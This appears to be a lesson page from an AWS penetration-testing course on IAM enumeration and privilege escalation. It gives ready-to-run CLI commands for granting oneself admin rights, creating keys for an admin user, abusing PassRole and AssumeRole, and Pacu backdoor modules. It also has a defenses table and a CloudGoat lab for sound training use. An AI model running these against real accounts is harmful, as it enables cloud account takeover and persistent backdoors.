> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/01-iam.md).

# Module 01 — IAM Enumeration & Privilege Escalation

## 🎯 What You'll Learn

* How to enumerate IAM users, roles, and policies
* How to find your current permissions with a low-priv account
* Common privilege escalation paths in AWS IAM
* How to use Pacu to automate escalation

***

## 📖 Theory

### What is IAM?

IAM (Identity and Access Management) controls who can do what in AWS.

* **Users** → human identities with long-term credentials (Access Key + Secret)
* **Roles** → short-term credentials assumed by services or users
* **Policies** → JSON documents defining what actions are allowed
* **Groups** → collections of users sharing the same policies

### Why is IAM the #1 target?

Because a single misconfigured IAM policy can give an attacker full admin access. If a low-priv user has `iam:PassRole` or `iam:AttachUserPolicy`, game over.

***

## 🔍 Phase 1 — Who Am I?

Always start by figuring out your current identity.

```bash
# Check current identity
aws sts get-caller-identity --profile pentest

# Example output:
# {
#     "UserId": "AIDAIOSFODNN7EXAMPLE",
#     "Account": "123456789012",
#     "Arn": "arn:aws:iam::123456789012:user/dev-user"
# }
```

***

## 🔍 Phase 2 — Enumerate the Account

```bash
# List all IAM users
aws iam list-users --profile pentest

# List all IAM roles
aws iam list-roles --profile pentest

# List all IAM groups
aws iam list-groups --profile pentest

# List all policies (local + managed)
aws iam list-policies --scope Local --profile pentest

# List attached policies for a user
aws iam list-attached-user-policies --user-name dev-user --profile pentest

# List inline policies for a user
aws iam list-user-policies --user-name dev-user --profile pentest

# Read a specific policy version
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --version-id v1 \
  --profile pentest
```

***

## 🔍 Phase 3 — Brute Force Your Own Permissions

When you don't know what you can do, use `enumerate-iam`:

```bash
cd enumerate-iam

python3 enumerate-iam.py \
  --access-key AKIA... \
  --secret-key xxxx... \
  --region us-east-1

# This tests every AWS API call and tells you which ones succeed
```

Or use Pacu:

```bash
python3 pacu.py

# Inside Pacu:
set_keys                          # add your creds
run iam__enum_permissions         # enum what you can do
run iam__enum_users_roles_policies_groups  # full account enum
```

***

## ⬆️ Phase 4 — Privilege Escalation Paths

These are the most common misconfigurations that lead to admin.

### Path 1: `iam:CreatePolicyVersion`

If you can create a new policy version, you can overwrite an existing policy with `"Action": "*"`:

```bash
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default \
  --profile pentest
```

### Path 2: `iam:AttachUserPolicy`

Attach an existing admin policy to yourself:

```bash
aws iam attach-user-policy \
  --user-name dev-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --profile pentest
```

### Path 3: `iam:PassRole` + EC2/Lambda

If you can pass a role to a new EC2 or Lambda, you can run code as that role:

```bash
# Create a Lambda with an admin execution role
aws lambda create-function \
  --function-name pwn \
  --runtime python3.11 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://payload.zip \
  --profile pentest

# Invoke it
aws lambda invoke --function-name pwn output.txt --profile pentest
```

### Path 4: `iam:CreateAccessKey`

Create new access keys for another user (e.g. an admin):

```bash
aws iam create-access-key --user-name admin-user --profile pentest
# Returns fresh AccessKeyId + SecretAccessKey for admin-user
```

### Path 5: `sts:AssumeRole`

If a role's trust policy allows you to assume it:

```bash
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/AdminRole \
  --role-session-name pwned \
  --profile pentest

# Use the returned temp creds
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
```

***

## 🤖 Automate It with Pacu

```bash
python3 pacu.py

# Inside Pacu:
run iam__privesc_scan           # automatically find escalation paths
run iam__backdoor_users_keys    # create backdoor access keys
run iam__backdoor_assume_role   # add yourself to a role's trust policy
```

***

## 🛡️ Defenses (Know What You're Bypassing)

| Attack                          | Defense                                                          |
| ------------------------------- | ---------------------------------------------------------------- |
| AttachUserPolicy                | SCPs limiting IAM actions                                        |
| CreateAccessKey for other users | CloudTrail alert on CreateAccessKey                              |
| AssumeRole                      | Condition keys in trust policies (MFA required, IP restrictions) |
| PassRole abuse                  | Limit PassRole to specific role ARNs only                        |

***

## 🧪 Practice Lab

Use CloudGoat scenario: `iam_privesc_by_rollback`

```bash
./cloudgoat.py create iam_privesc_by_rollback
# Follow the README in the scenario folder
```

***

## 📎 References

* [HackTricks IAM Privesc](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-iam-privesc)
* [Rhino Security - AWS PrivEsc](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [Bishop Fox IAM Vulnerable](https://github.com/BishopFox/iam-vulnerable)